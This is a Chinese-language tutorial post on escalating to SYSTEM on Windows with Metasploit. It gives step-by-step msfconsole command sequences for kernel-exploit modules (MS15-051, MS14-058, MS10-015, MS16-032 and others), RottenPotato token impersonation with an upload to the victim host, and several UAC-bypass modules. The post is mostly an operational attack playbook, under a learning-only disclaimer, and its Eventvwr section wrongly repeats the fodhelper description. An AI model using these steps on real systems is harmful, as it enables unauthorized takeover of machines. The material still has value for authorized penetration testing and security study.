Metasploit 提权篇
声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
文章目录
- 内核漏洞提权
- enum_patches模块
- Windows-Exploit-suggester
- Windows ClientCopyImage Win32k Exploit(MS15-051)
- Windows TrackPopupMenu Win32k NULL指针解引用(ms14_058)
- 通过 KiTrap0D 提升 Windows 权限(ms10_015)
- Task Scheduler XML提权(ms10_092)
- MS16-016 mrxdav.sys WebDav本地提权(ms16_016)
- EPATHOBJ::pprFlattenRec本地提权
- MS13-053 : NTUserMessageCall Win32k内核池溢出(ms13_053)
- MS16-032 Secondary Logon Handle提权(ms16_032)
- RottenPotato将服务帐户本地提权至SYSTEM
- 使用Metasploit绕过UAC的多种方法
内核漏洞提权
本文将介绍有关Windows内核漏洞提权的方法。我将使用内置的Metasploit模块作为演示。通过本文的学习,你将了解系统的哪些部分可被利用,并匹配最佳可利用模块进一步的提升权限。
本地溢出提权首先要有服务器的一个普通用户权限,攻击者通常会向服务器上传本地溢出程序,在服务器端执行,如果系统存在漏洞,那么将溢出Administrator权限。以下是不同系统提权的漏洞和相应的补丁。
假设我们现在已经获得了一个 Windows 服务器的普通用户权限,现在我们要利用内核漏洞提权至最高权限。我们要先查看系统补丁:
enum_patches模块
可先利用enum_patches模块 收集补丁信息,列出可能存在的漏洞,然后查找可用的exploits进行提权
meterpreter > run post/windows/gather/enum_patches #查看补丁信息
发现不少可利用的补丁漏洞,我们用ms13_053_schlamperei
msf > use exploit/windows/local/ms13_053_schlamperei
msf > set SESSION 2
msf > exploit
Windows-Exploit-suggester
**Metasploit内置模块提供了各种可用于提权的windows local exploits,并会基于架构,平台(即运行的操作系统),会话类型和所需默认选项提供建议。**这极大的节省了我们的时间,省去了我们手动搜索local exploits的麻烦。虽说如此,但也并非所有列出的local exploits都可用。所以,无论是漏洞利用还是查找最好的办法就是自动结合手动。
**注:**要使用local exploit suggester,我们必须已在目标机器上获取到了一个Meterpreter session。在运行Local Exploit suggester之前,我们需要将现有的Meterpreter session调到后台运行(background)
示例,假设我们现在有一个Meterpreter session 1
> background
> use post/multi/recon/local_exploit_suggester
> set LHOST 192.168.1.107
> set SESSION 1
> exploit
如下图所示,它自动的为我们匹配出了一些可能的用于易受攻击目标提权的漏洞利用模块。
如图所示我们可以使用exploit/windows/local/bypassuac_fodhelper
模块:
use exploit/windows/local/bypassuac_fodhelper
set SESSION 2
set LHOST 39.xx1.21x.xx0
run
得到会话meterpreter后执行getsystem即可成功绕过uac提权成功
Windows ClientCopyImage Win32k Exploit(MS15-051)
Windows内核模式驱动程序特权提升漏洞。此模块利用了win32k.sys内核模式驱动程序中的不正确对象处理进行提权。
该模块已在Windows 7 x64和x86,Windows 2008 R2 SP1 x64的易受攻击版本上进行了测试。
让我们转到MSF控制台并执行该漏洞的exploit模块
> use exploit/windows/local/ms15_051_client_copy_image
> set lhost 192.168.1.107
> set lport 2333
> set session 1
> exploit
一旦exploit成功执行,就会打开另一个Meterpreter session
> getsystem
> getuid
可以看到,我们当前的用户权限已提升为了NT AUTHORITY\SYSTEM
Windows TrackPopupMenu Win32k NULL指针解引用(ms14_058)
此模块利用了win32k.sys中的NULL指针解引用,漏洞可通过TrackPopupMenu函数进行触发。在特殊情况下,我们可以滥用在xxxSendMessageTimeout上的NULL指针解引用,来实现任意代码执行操作。
该模块已在Windows XP SP3,Windows Server 2003 SP2,Windows 7 SP1 Windows Server 2008 32位和Windows Server 2008 R2 SP1 64位上进行了测试。
让我们转到MSF控制台并执行该漏洞的exploit模块
> use exploit/windows/local/ms14_058_track_popup_menu
> set lhost 192.168.1.107
> set session 1
> exploit
一旦exploit成功执行,就会打开另一个Meterpreter session
getsystem
getuid
可以看到,我们当前的用户权限已提升为了NT AUTHORITY\SYSTEM
通过 KiTrap0D 提升 Windows 权限(ms10_015)
此模块将通过KiTrap0D exploit创建具有SYSTEM权限的新会话,如果当前使用的会话权限已提升,则exploit将不会运行。该模块依赖于kitrap0d.x86.dll,因此 在x64版本的Windows上不受支持。
该模块已在32位的Windows Server 2003,Windows Server 2008,Windows 7和XP易受攻击版本上进行了测试。
让我们转到MSF控制台并执行该漏洞的exploit模块
> use exploit/windows/local/ms10_015_kitrap0d
> set lhost 192.168.1.107
> set session 1
> exploit
一旦exploit成功执行,就会打开另一个Meterpreter session
getsystem
getuid
可以看到,我们当前的用户权限已提升为了NT AUTHORITY\SYSTEM
Task Scheduler XML提权(ms10_092)
如果攻击者登录到受影响的系统,并运行特制应用程序,则该漏洞可能允许特权提升。攻击者必须拥有有效的登录凭据,并且能够在本地登录才能成功利用此漏洞。远程或匿名用户则无法利用此漏洞。
该模块已在Windows Vista,Windows 7,Windows Server 2008 x64和x86的易受攻击版本上进行了测试。
让我们转到MSF控制台并执行该漏洞的exploit模块
> use exploit/windows/local/ms10_092_schelevator set lhost 192.168.1.107 set session 1
> exploit
一旦exploit成功执行,就会打开另一个Meterpreter session
getsystem
getuid
可以看到,我们当前的用户权限已提升为了NT AUTHORITY\SYSTEM
MS16-016 mrxdav.sys WebDav本地提权(ms16_016)
该模块已在Windows 7 SP1,x86架构的易受攻击版本上进行了测试。
让我们转到MSF控制台并执行该漏洞的exploit模块
use exploit/windows/local/ms16_016_webdav set lhost 192.168.1.107 set session 1 exploit
一旦exploit成功执行,就会打开另一个Meterpreter session
getsystem
getuid
可以看到,我们当前的用户权限已提升为了NT AUTHORITY\SYSTEM
EPATHOBJ::pprFlattenRec本地提权
此模块利用了EPATHOBJ :: pprFlattenRec上的漏洞,其主要问题出在使用了未初始化的数据(即允许损坏内存)。
目前,该模块已在Windows XP SP3,Windows 2003 SP1和Windows 7 SP1上成功进行了测试。
让我们转到MSF控制台并执行该漏洞的exploit模块
use exploit/windows/local/ppr_flatten_rec set lhost 192.168.1.107 set session 1 exploit
一旦exploit成功执行,就会打开另一个Meterpreter session
getsystem
getuid
可以看到,我们当前的用户权限已提升为了NT AUTHORITY\SYSTEM
MS13-053 : NTUserMessageCall Win32k内核池溢出(ms13_053)
Win32k中的内核池溢出漏洞,可允许本地用户提权。内核shellcode使winlogon.exe进程的ACL为NULL(SYSTEM进程)。这将允许任何非特权进程*迁移到winlogon.exe,从而提升用户权限。注意:退出meterpreter会话时,可能会导致winlogon.exe崩溃。
目前,该模块已在Windows 7 SP1 x86上成功测试。
让我们转到MSF控制台并执行该漏洞的exploit模块
use exploit/windows/local/ms13_053_ schlamperei set lhost 192.168.1.107 set session 1 exploit
一旦exploit成功执行,就会打开另一个Meterpreter session
getsystem
getuid
可以看到,我们当前的用户权限已提升为了NT AUTHORITY\SYSTEM
MS16-032 Secondary Logon Handle提权(ms16_032)
此模块利用了Windows Secondary Logon Service中缺少标准句柄过滤的问题。该漏洞主要影响Windows 7-10和2k8-2k12 32/64位版本。此模块仅适用于具有Powershell 2.0或更高版本的Windows系统,以及具有至少两个或以上CPU内核的系统。
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc set session 1 exploit
一旦exploit成功执行,就会打开另一个Meterpreter session
getsystem
getuid
可以看到,我们当前的用户权限已提升为了**NT AUTHORITY\SYSTEM
RottenPotato将服务帐户本地提权至SYSTEM
使用RottenPotato将服务帐户本地提权至SYSTEM。
首先,我们在meterpreter会话中使用以下选项查看当前系统上是否存在任何有效tokens。
load incognito
list_token -u
可以看到,当前并没有任何SYSTEM权限的token可用。
现在,我们从github下载Rottenpotato。
git clone https://github.com/foxglovesec/RottenPotato.git
cd RottenPotato
下载完成后我们会在Rottenpotato目录下,看到一个rottenpotato.exe文件。
将该文件上传至受害者机器。
upload /root/Desktop/RottenPotato/rottenpotato.exe .
然后,键入以下命令执行该exe文件,并将SYSTEM token添加到impersonate user tokens下。
execute -Hc -f rottenpotato.exe
impersonate_token "NT AUTHORITY\\SYSTEM"
可以看到,我们当前的用户权限已提升为了NT AUTHORITY\SYSTEM
使用Metasploit绕过UAC的多种方法
用户帐户控制(简称UAC)是微软公司在其Windows Vista,及更高版本操作系统中采用的一种控制机制。通过本文你将了解它是如何保护你免受恶意软件侵害的,以及忽略UAC提示将可能给你系统带来的麻烦。
UAC简介
什么是用户帐户控制?
UAC是在Windows Vista及更高版本操作系统中采用的一种控制机制,它以预见的方式阻止不必要的系统范围更改。
换句话说,它是Windows的一项安全功能,支持你 阻止任何对系统未经授权的更改操作行为
。UAC确保仅在管理员授权的情况下进行某些更改。如果管理员不允许更改,则不会执行这些更改,并且Windows也不会发生任何的改变。
UAC是如何运作的?
一旦程序执行涉及系统更改/特定任务就会触发UAC。除非尝试执行它们的进程以管理员权限运行,否则这些操作都将被阻止。没有管理员权限将无法执行以下操作:
注册表修改(如果注册表项位于如HKEY_LOCAL_MACHINE下(因为它影响多个用户),它将是只读的)
加载设备驱动程序
DLL注入
修改系统时间(clock)
修改用户帐户控制设置(通过注册表可以启用/禁用它,但你需要正确的权限才能执行该操作)
修改受保护的目录(例如Windows文件夹,Program Files)
计划任务(例如,以管理员权限自启动)
注:UAC的作用并不是帮你阻止恶意软件或识别程序是否为恶意程序,这主要取决于用户。如果用户以管理员权限执行程序,UAC将提醒用户并要求用户提供确认。
几种绕过UAC的方法
exploit/windows/local/ask
exploit/windows/local/bypassuac(bypassuac进程注入)
exploit/windows/local/bypassuac_injection(bypassuac_injection内存注入)
exploit/windows/local/bypassuac_fodhelper(通过FodHelper注册表项)
exploit/windows/local/bypassuac_eventvwr(通过Eventvwr注册表项)
exploit/windows/local/bypassuac_comhijack(COM处理程序劫持)
exploit/windows/local/bypassuac_vbs
首先,假设我们已获取目标系统的meterpreter shell,并得到了一个meterpreter session 1。然后,我们键入以下命令提权并查看权限。
getsystem # 未提权成功
getuid
如果你并未取得system/admin权限,那你就要想办法绕过目标系统的UAC保护。
exploit/windows/local/ask模块绕过(最好用的一个)
再执行getsystem,这样就得到目标机的system权限。
Windows提权UAC保护绕过(bypassuac进程注入)
该模块将通过进程注入,利用受信任的发布者证书绕过Windows UAC。 它将为我们生成另一个关闭UAC的shell(session 2)。
msf > use exploit/windows/local/bypassuac
msf exploit windows/local/bypassuac) > set session 1
msf exploit(windows/local/bypassuac) > exploit
从图片中可以看到meterpreter session 2已被打开,现在我们键入以下命令提权并查看权限。
getsystem
getuid
可以看到我们已将权限提升为了NT AUTHORITY\SYSTEM。现在如果你输入“shell”命令,你将获得具有管理员权限的命令提示符。
Windows提权UAC保护绕过(bypassuac_injection内存注入)
该模块将通过进程注入,利用受信任的发布者证书绕过Windows UAC。 它将为我们生成另一个关闭UAC的shell(session 2)。**该模块将直接运行在内存中的反射DLL中,由于它并不触碰硬盘,因此可以最大限度地降低被安全检测的概率。**但该模块的使用需要选择正确的架构(对于SYSWOW64系统也是使用x64)。
msf > use exploit/windows/local/bypassuac_injection
msf exploit(windows/local/bypassuac_injection) > set session 1
msf exploit(windows/local/bypassuac_injection) > exploit
从图片中可以看到meterpreter session 2已被打开,现在我们键入以下命令提权并查看权限。
getsystem
getuid
可以看到我们已将权限提升为了NT AUTHORITY\SYSTEM。现在如果你输入“shell”命令,你将获得具有管理员权限的命令提示符。
Windows提权UAC保护绕过(通过FodHelper注册表项)
该模块通过在当前用户配置单元下劫持注册表中的特殊键,并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC
。 它将为我们生成另一个关闭UAC的shell。虽然该模块修改了注册表,但它会在调用payload后清除该键。相比之前的模块该模块对架构系统并无特别要求。
msf > use exploit/windows/local/bypassuac_fodhelper
msf exploit(windows/local/bypassuac_fodhelper) > set session 1
msf exploit(windows/local/bypassuac_fodhelper) > exploit
从图片中可以看到meterpreter session 2已被打开,现在我们键入以下命令提权并查看权限。
getsystem
getuid
可以看到我们已将权限提升为了NT AUTHORITY\SYSTEM。现在如果你输入“shell”命令,你将获得具有管理员权限的命令提示符。
Windows提权UAC保护绕过(通过Eventvwr注册表项)
**该模块通过在当前用户配置单元下劫持注册表中的特殊键,并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。**它将为我们生成另一个关闭UAC的shell。虽然该模块修改了注册表,但它会在调用payload后清除该键。相比之前的模块,该模块对架构系统并无特别要求。
msf > use exploit/windows/local/bypassuac_eventvwr
msf exploit(windows/local/bypassuac_eventvwr) > set session 1
msf exploit(windows/local/bypassuac_eventvwr) > exploit
从图片中可以看到meterpreter session 2已被打开,现在我们键入以下命令提权并查看权限。
getsystem
getuid
可以看到我们已将权限提升为了NT AUTHORITY\SYSTEM。现在如果你输入“shell”命令,你将获得具有管理员权限的命令提示符。
Windows提权UAC保护绕过(COM处理程序劫持)
**此模块将通过在HKCU配置单元中,创建COM处理程序注册表项来绕过Windows UAC。**当加载某些高完整性进程时将会引用这些注册表项,从而导致进程加载用户控制的DLL。这些DLL中包含了可提升权限的payload。在调用payload后该模块将会清除该键。该模块的使用需要选择正确的架构,但在当前低权限的Meterpreter session下架构可以不同。该模块需要通过目标系统上的cmd.exe来调用目标二进制文件,因此如果限制cmd.exe访问,则此模块将无法正常运行。
msf > use exploit/windows/local/bypassuac_comhijack
msf exploit(windows/local/bypassuac_comhijack) > set session 1
msf exploit(windows/local/bypassuac_comhijack) > exploit
从图片中可以看到meterpreter session 2已被打开,现在我们键入以下命令提权并查看权限。
getsystem
getuid
可以看到我们已将权限提升为了NT AUTHORITY\SYSTEM。现在如果你输入“shell”命令,你将获得具有管理员权限的命令提示符。
还有exploit/windows/local/bypassuac_vbs 等模块。
上一篇: Redis——进阶篇
下一篇: RocketMQ 进阶篇